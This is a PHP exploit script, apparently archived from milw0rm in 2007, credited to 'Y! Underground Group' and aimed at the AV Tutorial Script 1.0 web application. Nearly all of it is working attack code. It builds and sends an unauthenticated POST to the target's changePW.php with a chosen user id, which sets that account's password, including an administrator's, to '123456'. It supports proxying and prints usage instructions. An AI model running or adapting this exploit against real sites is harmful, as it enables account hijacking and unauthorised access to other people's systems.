AV Tutorial Script 1.0 - Remote User Pass Change Exploit

                                                <?php

/*
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   [email protected]   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   avtutorial
[!] Download :   http://www.avscripts.net/avtutorial/
[!] Type     :   Remote User Pass Change Exploit

---------------------------------------------------------------------
*/

if ($argc<5) {
print_r('
-----------------------------------------------------------------------------

Usage: php '.$argv[0].' Host Path UserId Options
host:       Target server (ip/hostname)
path:       Path To Folder
UserId:     User Id Admin/User

Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy

Example:
php '.$argv[0].' 127.0.0.1 /path/ 1 -P1.1.1.1:80

-----------------------------------------------------------------------------
');

die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$userid=$argv[3];

$port=80;
$proxy="";
for ($i=7; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

/*Data*/

$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"

submit
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="password"

123456
-----------------------------7d6224c08dc
';


/*Echo Header*/
echo "[!] Powered By Y! Underground Group\r\n";
echo "[!] Vuln And Coded By Dj7xpl\r\n";

/*Sending Data*/
$packet ="POST ".$path."changePW.php?userid=".$userid."&id=".$userid."&done=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
sleep(2);

echo "[!] Changed password : 123456\r\n";


?>

# milw0rm.com [2007-07-08]